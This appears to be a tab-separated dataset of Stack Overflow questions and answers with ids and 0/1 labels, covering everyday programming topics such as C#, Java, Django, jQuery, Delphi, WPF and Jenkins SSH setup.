2984891	0	 <p>Taking a look at another client's code is helpful (if not confusing): <a href="http://src.chromium.org/viewvc/chrome/trunk/src/net/http/" rel="nofollow noreferrer">http://src.chromium.org/viewvc/chrome/trunk/src/net/http/</a></p> <p>I'm currently doing something like this too. I find the best way to increase the efficiency of the client is to use the asynchronous socket functions provided. They're quite low-level and get rid of busy waiting and dealing with threads yourself. All of these have <code>Begin</code> and <code>End</code> in their method names. But first, I would try it using blocking, just so you get the semantics of HTTP out of the way. Then you can work on efficiency. Remember: Premature optimization is evil- so get it working, then optimize all of the stuff!</p> <p>Also: Some of your efficiency might be tied up in your use of <code>ToArray()</code>. It's known to be a bit expensive computationally. A better solution might be to store your intermediate results in a <code>byte[]</code> buffer and append them to a <code>StringBuilder</code> with the correct encoding.</p> <p>For gzipped or deflated data, read in all of the data (keep in mind that you might not get all of the data the first time you ask. Keep track of how much data you have read in, and keep on appending to the same buffer). Then you can decode the data using <code>GZipStream(..., CompressionMode.Decompress)</code>.</p> <p>I would say that doing this is not as difficult as some might imply, you just have to be a bit adventurous!</p>
17502297	0	 <p>Your <code>&lt;h3&gt;</code> causes that. Put this:</p> <pre><code>h3{ margin:0; padding:0; } </code></pre>
11149742	0	Regarding help text over hover in asp.net <p>net website i want to put help tex with question mark..how is that possible.. I have seen this in few of sites like they have (?) when hover on it it shows some help text..How can i do this.. please help me out</p>
33198826	0	 <p>Assuming you are under control of the content that you display in that <code>WKWebView</code>, you should set the right viewport for it. That will most likely disable this behaviour.</p> <p>How about:</p> <pre><code>&lt;meta id="viewport" name="viewport" content="width=device-width; user-scalable=false" /&gt; </code></pre>
38067164	0	how to switch to a new database <p>I want to deploy my django project to the production environments, and associated it with an new empty database, and I did as follows :</p> <ol> <li>Create an new empty database</li> <li>Updated settings.py and pointed the database name to the new one</li> <li>Deleted the migrations folder under my App </li> <li>Run python manage.py runserver and no errors returned</li> <li>Run python manage.py makemigrations and python manage.py migrate</li> </ol> <p>but only auth related tables created ( like <code>auth_user</code> , <code>auth_group</code> ... ), no databases tables created for my Apps</p> <p>How should I do for this situation to move to the new database for my project?</p>
1268901	0	 <p>Delphi installation comes with a Demo named 'Bitmap' (you can find the project in Help dir.).</p> <p>It uses the following method to draw a tiled image:</p> <pre><code>procedure TBmpForm.FormPaint(Sender: TObject); var x, y: Integer; begin y := 0; while y &lt; Height do begin x := 0; while x &lt; Width do begin // Bitmap is a TBitmap. // form's OnCreate looks like this: // Bitmap := TBitmap.Create; // Bitmap.LoadFromFile('bor6.bmp'); // or you can use Canvas.Draw(x, y, Image1.Picture.Bitmap), // instead of Canvas.Draw(x, y, Bitmap); // Canvas.Draw(x, y, Bitmap); //Bitmap is a TBitmap. x := x + Bitmap.Width; // Image1.Picture.Bitmap.Width; end; y := y + Bitmap.Height; // Image1.Picture.Bitmap.Height; end; end; </code></pre> <p>Hope that helps!</p>
23471177	0	 <p>Generally speaking, <code>final</code> would be more appropriate.</p> <p>The important thing about modifiers is that the alter the reference, not the object referenced. e.g.</p> <pre><code>final int[] a = { 0 }; a[0] = 5; // ok, not final a = b; // not ok as it is final </code></pre> <p>similarly</p> <pre><code>volatile int[] a = { 0 }; a[0] = 5; // not a volatile write a = b; // volatile write. </code></pre>
18048789	0	 <p>I had similar problem and it is solved by </p> <ol> <li><p>Installing g++ The GNU C++ complier using ubuntu software centre and </p></li> <li><p>Changing in -</p></li> </ol> <p>Window -> Preferences -> C/C++ -> Build -> Settings -> Discovery -> CDT GCC Build in Complier Settings [Shared]</p> <pre><code>From: ${COMMAND} -E -P -v -dD "${INPUTS}" To : /usr/bin/${COMMAND} -E -P -v -dD "${INPUTS}" </code></pre> <p>I hope it helps.</p>
16272644	0	iOS app - how to get data from app store? <p>I need to develop an app that is going to search for apps in the app store and suggest the best of them to the user depending on the query. So my question is:</p> <p>Is it possible to retrieve data from the app store? If so, how?? Maybe someone can point to the right direction. Thank you very much in advance!</p> <p>P.S. My app is like <a href="https://itunes.apple.com/us/app/appdeals-get-paid-apps-for/id350030137?mt=8" rel="nofollow">this one</a>.</p>
19228447	0	 <p>I would just use LINQ to XML in the simplest possible way:</p> <pre><code>var query = from file in files let doc = XDocument.Load(file) from customer in doc.Descendants("Customer") select new { Company = (string) customer.Element("Company"), Ship = (string) customer.Element("Ship") }; </code></pre> <p>I'd expect that to be pretty quick already - but you should work out what your exact performance requirements are, then test them. (You almost certainly don't need "the most efficient" way - you need a <em>sufficiently</em> efficient way, whilst keeping the code readable.)</p> <p>Note that if you want the values to be propagated out of the current method, you should create your own class to represent the company/ship pair.</p>
39106254	0	 <p>Applications to not get restore state functionality magically but they support APIs that help doing it. Some applications do it well, others less well and others not at all.</p> <p>In practice, for the applications that support it, it works quite reliably, provided the logout went cleanly and you've not out of diskspace or something similar fatal.</p>
40362391	0	 <p>PyGame doc: <a href="http://www.pygame.org/docs/ref/font.html#pygame.font.Font.render" rel="nofollow noreferrer">Font.render()</a></p> <blockquote> <p>The text can only be a single line: newline characters are not rendered. </p> </blockquote>
24578360	0	 <p>I had the same problem. With me it was, that I installed from Ubuntu repositories and followed the tutorials that suggested installation of elasticsearch/elasticsearch-cloud-aws/1.4.0.</p> <p>If you have done that than</p> <p><code>cd /usr/share/elasticsearch sudo bin/plugin -remove elasticsearch/elasticsearch-cloud-aws/1.4.0</code></p> <p>and to install the working version, do</p> <pre><code>cd /usr/share/elasticsearch sudo bin/plugin -install elasticsearch/elasticsearch-cloud-aws/2.2.0 </code></pre>
21686883	0	 <p>There are many ways. But as a beginner i would like to just add alert in each function:</p> <pre><code>$( document ).ready(function() { $("a").on('click', function() { $('c').css('opacity', '0.8'); alert('inside first'); }); $("ul#main li a").on('click', function() { $('c').toggle('.menu'); alert('inside first'); }); $("nav a").on('click', function() { callSomeFunctions(); alert('inside first'); }); }); </code></pre> <p>Also, working link: <a href="http://jsfiddle.net/wRZN6/" rel="nofollow">http://jsfiddle.net/wRZN6/</a></p>
33513863	0	 <p>Make firstName as a public variable with getter/setter added, then you will be able to access the properties, By default, if no access modifier is present then CLR treats it as Private </p> <pre><code>public string FirstName { get; set; } </code></pre>
2826213	0	 <p>In the <code>foreach</code> loop, you already know that <code>node</code> is a <code>/a/b</code> in the original document - so to get just <em>its</em> <code>c</code> children simply use a <strong>relative</strong> xpath:</p> <pre><code>node.SelectNodes("c") </code></pre>
26268269	0	Insertion sort while removing duplicates in C++ <p>I am having trouble with my insertion sort method. It loops over an array of elements of a custom struct that holds the word and the number of occurrences. The array length is fixed at 1000. The sort removes duplicates. It think the problem is in the swap when a duplcate is found but I am using the same function for the sorting swap. I have played with it for a while and I just can seem to get it to work.</p> <p>My program outputs the entire list, using length variable and outputs the following:</p> <pre><code>word occurences hello 500 hello 500 </code></pre> <p>I know that the array holds 1000 elements of the word hello, so this output if confusing me.</p> <pre><code>void sortAndRemoveDuplicates(Word WordArray [],int &amp;length){ /* Description: Sort the word array, removing duplicates */ for(int index=0;index&lt;length-1;index++){ int idxMin=index; for(int idx=index;idx&lt;length;idx++){ if(WordArray[idx].word&lt;WordArray[idxMin].word){ idxMin=idx; } } // if duplicate if(WordArray[idxMin].word==WordArray[index-1].word){ WordArray[index-1].wordCount++; swap(WordArray[idxMin],WordArray[index]); length--; index--; } if(idxMin!=index){ swap(WordArray[idxMin],WordArray[index]); } } }; void swap(Word &amp;x, Word &amp;y){ /* Description: Swap two words */ Word temp; temp=x; x=y; y=temp; }; void printResults (string &amp;filename, int &amp;charCount, int &amp;lineCount, int wordCount, Word WordArray[],int &amp;length){ /* Description: Print the results of the program to cout */ cout&lt;&lt;"\tResults\n"; cout&lt;&lt;"Filename: "&lt;&lt;filename&lt;&lt;"\n"; cout&lt;&lt;"Character Count: "&lt;&lt;charCount&lt;&lt;"\n"; cout&lt;&lt;"Line Count: "&lt;&lt;lineCount&lt;&lt;"\n"; cout&lt;&lt;"Word Count:"&lt;&lt;wordCount&lt;&lt;"\n"; cout&lt;&lt;"\tWord\tCount\n"; int i=0; while(i&lt;(length)){ cout&lt;&lt;"\t"; cout&lt;&lt;WordArray[i].word&lt;&lt;"\t"&lt;&lt;WordArray[i].wordCount&lt;&lt;"\n"; i++; } }; </code></pre> <p>Thanks</p>
6349513	1	Parsing XML Entity with python xml.sax <p>Parsing XML with python using xml.sax, but my code fails to catch Entities. Why doesn't skippedEntity() or resolveEntity() report in the following: </p> <pre><code>import os import cStringIO import xml.sax from xml.sax.handler import ContentHandler,EntityResolver,DTDHandler #Class to parse and run test XML files class TestHandler(ContentHandler,EntityResolver,DTDHandler): #SAX handler - Entity resolver def resolveEntity(self,publicID,systemID): print "TestHandler.resolveEntity: %s %s" % (publicID,systemID) def skippedEntity(self, name): print "TestHandler.skippedEntity: %s" % (name) def unparsedEntityDecl(self,publicID,systemID,ndata): print "TestHandler.unparsedEntityDecl: %s %s" % (publicID,systemID) def startElement(self,name,attrs): # name = string.lower(name) summary = '' + attrs.get('summary','') arg = '' + attrs.get('arg','') print 'TestHandler.startElement(), %s : %s (%s)' % (name,summary,arg) def run(xml_string): try: parser = xml.sax.make_parser() stream = cStringIO.StringIO(xml_string) curHandler = TestHandler() parser.setContentHandler(curHandler) parser.setDTDHandler( curHandler ) parser.setEntityResolver( curHandler ) parser.parse(stream) stream.close() except (xml.sax.SAXParseException), e: print "*** PARSER error: %s" % e; def main(): try: XML = "&lt;!DOCTYPE page[ &lt;!ENTITY num 'foo'&gt; ]&gt;&lt;test summary='step: &amp;num;'&gt;Entity: &amp;not;&lt;/test&gt;" run(XML) except Exception, e: print 'FATAL ERROR: %s' % (str(e)) if __name__== '__main__': main() </code></pre> <p>When run, all I see is:</p> <pre><code> TestHandler.startElement(), step: foo () *** PARSER error: &lt;unknown&gt;:1:36: undefined entity </code></pre> <p>Why don't I see the resolveEntity print for &amp;num; or the skipped entry print for &amp;not;?</p>
18784452	0	 <p>Keep a counter using <code>long</code>, take the modulus, you don't have to worry about overflow as it will increase by 60 per second and your code needs to run for <code>292471208678</code> years before overflow.</p> <pre><code>long alphacntr = 0; .... public void update(){ alphacntr += 3; int alpha = alphacntr%256; .... } </code></pre>
11823032	0	Javascript onclick even on a div not working <p>I have a div and when a user clicks on it using the <code>onclick</code> event, i'm calling a function:</p> <pre><code> function test(a) { alert(a); } &lt;div onclick="javascript:test('zaswde');"&gt;sdfasdasdadasdasds&lt;/div&gt;​ </code></pre> <p><strong>Update</strong></p> <pre><code> &lt;ul&gt; &lt;li&gt; &lt;div&gt; &lt;div onclick="javascript:alert('v'); "&gt;&lt;/div&gt; &lt;/div&gt; &lt;div &gt;&lt;/div&gt; &lt;/li&gt; &lt;/ul&gt; </code></pre> <p>Can't i use <code>onclick</code> on the div element? ​</p>
31757787	0	 <p>I was missing the Accept Header. Now it is working fine.</p>
5765950	0	 <p>If you look at the very first line of your crash report, it states you are passing a nil string to NSURL's <strong>initFileURLWithPath</strong> method:</p> <pre class="lang-none prettyprint-override"><code>'NSInvalidArgumentException', reason: '*** -[NSURL initFileURLWithPath:]: nil string parameter' </code></pre> <p>From Apple documentation. </p> <p><strong>Passing nil for this parameter produces an exception.</strong></p> <p>So make sure to check your NSString before sending to <strong>initFileURLWithPath</strong> method,</p> <pre><code>NSURL* targetFileURL = nil ; if(targetFilePath != nil) { targetFileURL = [[NSURL alloc] initFileURLWithPath:targetFilePath]; } </code></pre>
30818461	0	 <p>Maybe GetBytes method doesn't work as you expect. This linqpad works fine for me:</p> <pre><code>void Main() { var result = ByteArrayToStructure&lt;Message&gt;(CreateMessageByteArray()); result.Dump(); } [StructLayout(LayoutKind.Sequential, Pack = 1)] struct Message { public int id; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 10)] public string text; } private static byte[] CreateMessageByteArray() { int id = 69; byte[] intBytes = BitConverter.GetBytes(id); string text = "test"; byte[] stringBytes = Encoding.UTF8.GetBytes(text); IEnumerable&lt;byte&gt; rv = intBytes.Concat(stringBytes); return rv.ToArray(); } static T ByteArrayToStructure&lt;T&gt;(byte[] bytes) where T : struct { var handle = GCHandle.Alloc(bytes, GCHandleType.Pinned); var result = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T)); handle.Free(); return result; } </code></pre> <p>Output:</p> <pre><code>id 69 text test </code></pre>
37109774	0	Unable to start emulator on Android Studio 2.1 <p>I am unable to start my emulator on <strong>Android Studio 2.1</strong> and getting the following <strong>error</strong>:</p> <pre><code>Cannot launch AVD in emulator. Output: emulator: WARNING: Increasing RAM size to 1024MB init: Could not find wglGetExtensionsStringARB! getGLES1ExtensionString: Could not find GLES 1.x config! emulator: WARNING: VM heap size set below hardware specified minimum of 48MB Failed to obtain GLES 1.x extensions string! emulator: WARNING: Setting VM heap size to 256MB Hax is enabled Hax ram_size 0x40000000 HAX is working and emulator runs in fast virt mode. Could not initialize emulated framebufferaudio: Failed to create voice `goldfish_audio_in' qemu-system-i386.exe: warning: opening audio input failed console on port 5554, ADB on port 5555 emulator: ERROR: Could not initialize OpenglES emulation, use '-gpu off' to disable it. </code></pre> <p>Getting same error in the <em>console</em> of <strong>AVD</strong></p> <p>I am trying to run with this following <strong>configurations</strong> : <a href="https://i.stack.imgur.com/vCuOf.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/vCuOf.png" alt="Emulator Config"></a></p> <p>My <em>android-studio has the following details</em>: <a href="https://i.stack.imgur.com/bQhRq.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/bQhRq.png" alt="About android studio"></a></p> <p>Any help will be appreciated.</p>
13790050	0	 <p>There is also a new control bus component in camel 2.11 which could do what you want (<a href="http://camel.apache.org/controlbus.html" rel="nofollow">source</a>)</p> <pre><code>template.sendBody("controlbus:route?routeId=foo&amp;action=stop", null); </code></pre>
22457484	0	 <p>The size of the main undocked window cannot be modified by resizing it manually. It is sized so that it is exactly large enough to contain its children. So, you can do what you want by moving the component palette to the desired location. When you do so the main window will increase in size so that the component palette fits.</p> <p>Judging by your screenshot, your toolbars are drawn in a way to indicate that they are locked and cannot be dragged. That's not functionality that is present in the plain vanilla Delphi IDE, so I suspect that you have used functionality from either GExperts or CnPack to lock your toolbars. Obviously you'll need to unlock them in order to move them.</p> <p>Finally, I should point out that the inability to resize the main window vertically is not new. Classic Delphi versions (e.g. Delphi 7) behaved in exactly the same way. So I think that the fundamental issue is not related to a Delphi version upgrade, but rather is related to you having locked your toolbars.</p>
9988288	0	 <p>You can try using datetime and handle the exceptions to decide valid/invalid date : Example : <a href="http://codepad.org/XRSYeIJJ">http://codepad.org/XRSYeIJJ</a></p> <pre><code>import datetime correctDate = None try: newDate = datetime.datetime(2008,11,42) correctDate = True except ValueError: correctDate = False print(str(correctDate)) </code></pre>
27926989	0	 <p>I think this must works, put your php name file in the url and add the done() function to your code</p> <pre><code>&lt;script type="text/javascript"&gt; $("#submit").click(function(){ var foo = $(this).val(); $.ajax({ url:'YourPhpNameFile.php', type: "POST", data: { 'name':foo }, }).done(function( msg ) { alert('success'); }); }); &lt;/script&gt; </code></pre> <p>or put</p> <pre><code>location.reload(); </code></pre> <p>on the success() function.</p> <p>Hope this helps you! Greetings.</p>
919586	0	 <p>You could get the textarea by</p> <pre><code>$('textarea') </code></pre> <p>If it's the only one on your page.</p> <p>You just need to call submit on the form that the textarea is contained within</p> <p><strong>EDIT:</strong></p> <p>After reading your update, you just want to validate that the textarea is not blank before submitting the form. You just need to set up the validation</p> <pre><code>var textArea = $('#results'); //Get the textarea if (textArea.val() == "") { textArea.show(); textArea.focus(); return false; } // perform the form submit here as textarea is not blank </code></pre> <p>Could you post the whole object where you have got the code beginning with</p> <pre><code> case "Save": </code></pre> <p>from? It would probably be a good idea to use that object to perform the submit.</p> <p><strong>EDIT 2:</strong></p> <p>In regard to your comment about the page being refreshed, submitting the form causes the page to be POSTed. It sounds like you want to POST data using AJAX. </p> <p>Take a look at jQuery's <a href="http://docs.jquery.com/Ajax/jQuery.ajax#options" rel="nofollow noreferrer"><code>$.ajax()</code></a> command</p>
38905946	0	 <p><code>model.write</code> cannot just append to an existing file.</p> <p>In order to add to your existing file, you need to first <em>read</em> the file into your model, then add the additional data to your model, and then finally write the model back to it. </p>
28229434	0	 <p>try this. it works for me.</p> <pre><code> $("#txtPaid").keyup(function () { var val1 = parseInt(document.getElementById('&lt;%=lblGrandTotal.ClientID %&gt;').innerHTML); var val2 = parseInt(document.getElementById('&lt;%=txtPaid.ClientID %&gt;').value); if (val1 != null &amp;&amp; val1.toString() != "NaN" &amp;&amp; val2 != null &amp;&amp; val2.toString() != "NaN") { $("#&lt;%=lblBalance.ClientID %&gt;").html(val1 - val2); } else { $("#&lt;%=lblBalance.ClientID %&gt;").html("0"); } }); </code></pre>
16427725	0	 <p>I'd check that <code>localStorage</code> is defined prior to any action that depends on it:</p> <pre><code>if (typeof localStorage !== 'undefined') { var x = localStorage.getItem('mod'); } else { // localStorage not defined } </code></pre> <p><strong>UPDATE:</strong></p> <p>If you need to validate that the feature is there and that it is also not turned off, you have to use a safer approach. To be perfectly safe:</p> <pre><code>if (typeof localStorage !== 'undefined') { try { localStorage.setItem('feature_test', 'yes'); if (localStorage.getItem('feature_test') === 'yes') { localStorage.removeItem('feature_test'); // localStorage is enabled } else { // localStorage is disabled } } catch(e) { // localStorage is disabled } } else { // localStorage is not available } </code></pre>
7894221	0	How to log into git bitbucket repository from jenkins <p>I have a GIT repository on bitbucket, which I want my Jenkins Server to access automatically. This is only possible using public/private key authentication. So I created a key pair and uploaded the public key to bitbucket. The public and the private key are on my server in the .ssh folder of the tomcat user running jenkins. I am able to clone my project when I am logged in as that user on the server.</p> <p>However I am unable to get jenkins to actually check out the code from bitbucket. It always says:</p> <pre><code>Permission denied (publickey). fatal: The remote end hung up unexpectedly </code></pre> <p>Well I assume that this happens because when accessing the repository over ssh I need to provide the passphrase for my private key and jenkins is unable to do this automatically. I read that it is possible to avoid beeing asked for the passphrase by providing a config file inside the .ssh folder containing the following content:</p> <pre><code>Host bitbucket.org IdentityFile ~/.ssh/id_dsa </code></pre> <p>I did so, but as soon as I provide that file I can no longer clone the repository from bitbucket. Not even directly from the server, getting the same error message as shown above.</p> <p>Did anyone manage to make this setup work? I also read the following thread here on stackoverflow that was of no use to me: <a href="http://stackoverflow.com/questions/6323434/how-do-i-set-a-private-ssh-key-for-hudson-jenkins-to-access-bitbucket">How do i set a private ssh key for hudson / jenkins to access bitbucket?</a> and I checked that tomcat really runs under user tomcat6 by creating an empty test project that simply runs "whoami". So I am pretty much out of ideas for fixing the problem.</p>
31326213	0	 <p>Pass all the arguments with <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" rel="nofollow"><code>.apply</code></a> and <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments" rel="nofollow"><code>arguments</code></a>:</p> <pre><code>function delegate(func) { var args = [].slice.call(arguments, 1); return func.apply(this, args); } </code></pre> <p>Demo: <a href="http://jsfiddle.net/DerekL/8xkhrtg7/" rel="nofollow">http://jsfiddle.net/DerekL/8xkhrtg7/</a></p>
34135545	0	Connection refuse Watir webdriver with phantomjs <p>I have a problem with Watir gem that is running in threads. Basically it looks like this: I am creating threads (let's say there are three of them). Then I am creating new browser, visiting web pages and trying to close this browser. Everything works fine for like 2-3 hours, then I am getting this error (browser.close is causing this): </p> <pre><code>Errno::ECONNREFUSED: Connection refused - Connection refused initialize at org/jruby/ext/socket/RubyTCPSocket.java:124 open at org/jruby/RubyIO.java:1123 block in connect at /home/ubuntu/.rvm/rubies/jruby-9.0.4.0/lib/ruby/stdlib/net/http.rb:883 timeout at org/jruby/ext/timeout/Timeout.java:128 connect at /home/ubuntu/.rvm/rubies/jruby-9.0.4.0/lib/ruby/stdlib/net/http.rb:882 do_start at /home/ubuntu/.rvm/rubies/jruby-9.0.4.0/lib/ruby/stdlib/net/http.rb:867 start at /home/ubuntu/.rvm/rubies/jruby-9.0.4.0/lib/ruby/stdlib/net/http.rb:856 start at /home/ubuntu/.rvm/rubies/jruby-9.0.4.0/lib/ruby/stdlib/net/http.rb:583 stop at /home/ubuntu/.rvm/gems/jruby-9.0.4.0/gems/selenium-webdriver-2.48.1/lib/selenium/webdriver/phantomjs/service.rb:75 quit at /home/ubuntu/.rvm/gems/jruby-9.0.4.0/gems/selenium-webdriver-2.48.1/lib/selenium/webdriver/phantomjs/bridge.rb:73 quit at /home/ubuntu/.rvm/gems/jruby-9.0.4.0/gems/selenium-webdriver-2.48.1/lib/selenium/webdriver/common/driver.rb:171 close at /home/ubuntu/.rvm/gems/jruby-9.0.4.0/gems/watir-webdriver-0.9.1/lib/watir-webdriver/browser.rb:136 </code></pre> <p>And this is the code:</p> <pre><code>THREAD_COUNT.times.map { Thread.new(links) do |links| while link = mutex.synchronize { links.pop } counter = 0 sleep(rand 1..50) browser = Watir::Browser.new :phantomjs, :args =&gt; %w(--ssl-protocol=tlsv1 --ignore-ssl-errors=yes) begin result = function(browser) rescue counter += 1 retry if counter &gt; 2 end browser.close end end }.each(&amp;:join) </code></pre> <p>I am running this on ubuntu and jruby 9.0.4.0 As suggested here, I added sleep <a href="http://stackoverflow.com/questions/26859919/opening-several-threads-with-watir-webdriver-results-in-connection-refused-err">Opening several threads with watir-webdriver results in &#39;Connection refused&#39; error</a> But it's not working</p>
13927364	0	WPF textbox with image <p>I'm doing a WPF login interface. In my login panel, I have one login <code>TextBox</code> and a <code>PasswordBox</code>. As what shown in the first image below, there is a little human logo in the login textbox and a lock in the password box. I set the image into the textbox background, and then when i try to insert some word into the login box, the words will overide the human logo(image B). Any advice to make it right?</p> <p>My XAML:</p> <pre><code> &lt;TextBox Width="380" Height="25" HorizontalAlignment="Center" Foreground="WhiteSmoke" BorderBrush="Transparent" &gt; &lt;TextBox.Background&gt; &lt;ImageBrush ImageSource="/icon/user_login.png" AlignmentX="Left" Stretch="None"&gt;&lt;/ImageBrush&gt; &lt;/TextBox.Background&gt; &lt;/TextBox&gt; </code></pre> <p>Image A:</p> <p><img src="https://i.stack.imgur.com/IzKP1.jpg" alt="enter image description here"></p> <p>Image B:</p> <p><img src="https://i.stack.imgur.com/4iyFe.jpg" alt="enter image description here"></p>
9966782	0	 <p>No, there is no way to access anonymous classes from anywhere, except from inside them (i.e. otherwise than by <code>this</code> reference). Or by an explicitly declared variable.</p> <pre><code>final Runnable r1 = new Runnable() {...}; Runnable r2 = new Runnable() { public void run() { synchronized(r1) {...} } }; </code></pre>
27659445	0	 <p>You have misspelled method-signature:</p> <pre><code>&lt;cc:attribute name="goToLastPage" method-signtature="java.lang.String action()" required="true"/&gt; </code></pre>
38498956	0	 <p>Try running Windows Update which will installing/fix any missing files</p> <p><a href="https://answers.unrealengine.com/questions/322203/vs2015-prerequisites-failed-to-install.html" rel="nofollow">VS2015 Prerequisites failed to install</a></p>
19787046	0	 <p>Check that you've specified TokenCell as the custom class for your UITableView cells:</p> <p>(Here are 2 images to illustrate - I can't show inline images as I am new to StackOverflow!)</p> <p><a href="http://i.stack.imgur.com/tNpo4.png" rel="nofollow">1. image - highlight the cell in your Main.storyboard</a></p> <p><a href="http://i.stack.imgur.com/IVzrt.png" rel="nofollow">2. image - set the class to TokenCell, then save</a></p>
30729325	0	 <p>Consider the following query to solve your problem:</p> <pre><code>SELECT COUNT(*) AS `count` FROM test t WHERE `date` &lt; '2015-01-05' AND allocation = 'Same'; </code></pre> <p>Let's assume that the given date is '2015-01-05'. The idea here is to select all dates that are less than '2015-01-05' which means its previous days. Since allocation must be 'Same' so it's also included in condition section of statement.</p>
37757795	0	 <p>Use the id of the select and jquery to populate an array. Like the following</p> <pre><code>var arr=new Array(); $("#dropdwonid option").each(function() { arr.push($(this).text()); }); </code></pre>
24701101	1	Run MRJob from IPython notebook <p>I'm trying to run mrjob example from IPython notebook</p> <pre><code>from mrjob.job import MRJob class MRWordFrequencyCount(MRJob): def mapper(self, _, line): yield "chars", len(line) yield "words", len(line.split()) yield "lines", 1 def reducer(self, key, values): yield key, sum(values) </code></pre> <p>then run it with code</p> <pre><code>mr_job = MRWordFrequencyCount(args=["testfile.txt"]) with mr_job.make_runner() as runner: runner.run() for line in runner.stream_output(): key, value = mr_job.parse_output_line(line) print key, value </code></pre> <p>and getting the error:</p> <pre><code>TypeError: &lt;module '__main__' (built-in)&gt; is a built-in class </code></pre> <p>Is there way to run mrjob from IPython notebook?</p>
5251115	0	 <p>A couple of comments regarding the OP's analysis:</p> <p>I'm assuming you have already constructed your treemaps/sets and are just extracting elements from the finished (preprocessed) in-memory representation. </p> <p>Let's say <em>n</em> is the number of genres. Let's say <em>m</em> is the max number of games per genre.</p> <p>The complexity of getting the right 'genre map' is <code>O(lg n)</code> (a single <code>get</code> for the supertree). The complexity of iterating over the games in that genre depends on how you do it:</p> <pre><code> for (GameRef g : submap.keySet()) { // do something with supermap.get(g) } </code></pre> <p>This code yields <code>O(m)</code> 'get' operations of <code>O(lg m)</code> complexity each, so that's <code>O(m lg(m))</code>.</p> <p>If you do this:</p> <pre><code>for (Map.Entry e : submap.entrySet()) { // do something with e.getValue() } </code></pre> <p>then the complexity is <code>O(m)</code> loop iterations with constant <code>(O(1))</code> time access to the value.</p> <p>Using the second map iteration method, your total complexity is <code>O(lg(n) + m)</code></p>
2081044	0	 <p>This is a jQuery call and it gets called when a document gets loaded.</p> <p>more info at <a href="http://docs.jquery.com/Core/jQuery#callback" rel="nofollow noreferrer">http://docs.jquery.com/Core/jQuery#callback</a></p>
19200839	0	 <p>I solved my problem by creating a compound border attribute every time I set the border color, like this:</p> <pre><code> change: function(hex) { //console.log(hex + ' - ' + opacity); var curObj = window.curObj; var inner = '#' + $(curObj).attr("id") + ' .object_inner'; $(inner).css('border-color', hex); //hack for chrome to get around htmlpurifier bug dropping border-color defined in rgb on IMG tags. var border_all = $(inner).css('border'); if (border_all == '') { //ff returns empty string so we'll have to uild our own compound object var width = $(inner).css('border-top-width'); var color = $(inner).css('border-top-color'); $(inner).css('border','solid '+width+' ' + color); } else { //but for chrome it is enough to pull the compound out, then set it hard. The browser does the work. $(inner).css('border',border_all); } } </code></pre>
12713655	0	 <p>I was calling QDialog::destroy() to close the window instead of QDialog::close(). This caused a null pointer exception when Qt was finishing QDialog::exec() and caused a crash on Windows. Changing the call to close() fixed the problem.</p> <p>Thanks HostileFork for the advice</p>
4596433	0	 <p>You shouldn't need the html5shiv if you're using Modernizr, as Modernizr includes the same functionality itself.</p> <p>Quote from the Modernizr homepage:</p> <blockquote> <p>Lastly, Modernizr also adds support for styling and printing HTML5 elements. This allows you to use more semantic, forward-looking elements such as <code>&lt;section&gt;</code>, <code>&lt;header&gt;</code> and <code>&lt;dialog&gt;</code> without having to worry about them not working in Internet Explorer.</p> </blockquote>
29240634	0	 <p>The simplest CGI app looks like this:</p> <pre><code>#include &lt;iostream&gt; using namespace std; int main () { cout &lt;&lt; "Content-type:text/html\r\n\r\n"; cout &lt;&lt; "&lt;html&gt;\n"; cout &lt;&lt; "&lt;head&gt;\n"; cout &lt;&lt; "&lt;title&gt;Hello World - First CGI Program&lt;/title&gt;\n"; cout &lt;&lt; "&lt;/head&gt;\n"; cout &lt;&lt; "&lt;body&gt;\n"; cout &lt;&lt; "&lt;h2&gt;Hello World! This is my first CGI program&lt;/h2&gt;\n"; cout &lt;&lt; "&lt;/body&gt;\n"; cout &lt;&lt; "&lt;/html&gt;\n"; return 0; } </code></pre>
40897840	0	How to % encode single quotes when making jQuery AJAX call? <p>I am using $.ajax to send a SQL query to my web server. The query string contains several single quotes ('). I encountered a very messy problem on encoding single quotes.</p> <p>My code like this, please note the single quotes in query string:</p> <pre><code>var query = "select SID, age from Students where Name=\'Jason\'" + String.fromCharCode(10) + "order by age asc"; $.ajax({ url: "http://mywebserver/query", data: { env: "dbserver1", endTime: "getUTCDate()", startTime: "dateadd(hour, -336, getUTCDate())", text: query }, type: "GET", dataType: "json" }).done(function (datum) { }); </code></pre> <p>If I don't explicitly call encodeURIComponent before make AJAX call, jQuery will encode it for me, however, the single quotes are not encoded to %27 by default, so query doesn't work;</p> <p>If I pass an encoded query string to jQuery, it will encode again, that messes up the query string.</p> <p>The only solution i can imagine is, i have to overwrite the behavior how jQuery encodes URL, and replace all (') with %27. But I don't know if jQuery supports that. Does anyone have a solution for this?</p>
24968975	0	 <blockquote> <p>Is it safe if I use the same variable to create another subprocess if previous subprocess finishes?</p> </blockquote> <p>Yes. It would also be safe if the subprocess <em>weren't</em> finished, since you're completely replacing the value stored in <code>p</code> with a new value (a new object reference).</p> <hr> <p><s>In fact, <em>your</em> assignment in the loop you've shown isn't overwriting the previous value at all. By the time a new iteration starts, since you've declared your variable <em>inside</em> the block, it's either a new variable on each iteration or it's treated as though it were (you can look at it either way, probably; the bytecode probably reflects the latter but I think theory reflects the former). <em>Your</em> assignment is giving the (new) variable an initial value, not overwriting the previous iteration's value. If you moved your <code>Process p</code> declaration outside the loop, <em>then</em> you'd be overwriting it. Which would still be fine. :-)</s></p> <p>The strikeout text above may be or may not be true in theory (I'd have to dig through the JLS), but it would appear <em>not</em> to be true in pragmatic JVM/bytecode terms: Test: <a href="http://pastie.org/9422290" rel="nofollow">http://pastie.org/9422290</a> Bytecode: <a href="http://pastie.org/9422293" rel="nofollow">http://pastie.org/9422293</a> (pasted below). We can see that the <code>Date</code> reference is stored on instruction 20 of <code>main</code> in local variable 2 (<code>astore_2</code>). We only write to it on the first iteration. It isn't cleared when starting the next iteration, so pragmatically, you're using the same variable and overwriting it.</p> <p><code>Temp.java</code>:</p> <pre><code>import java.util.Date; public class Temp { public static final void main(String[] args) { int counter; for (counter = 0; counter &lt; 10; ++counter) { Date dt; if (counter &lt; 1) { dt = new Date(); System.out.println(dt); } System.out.println("loop end"); } } } </code></pre> 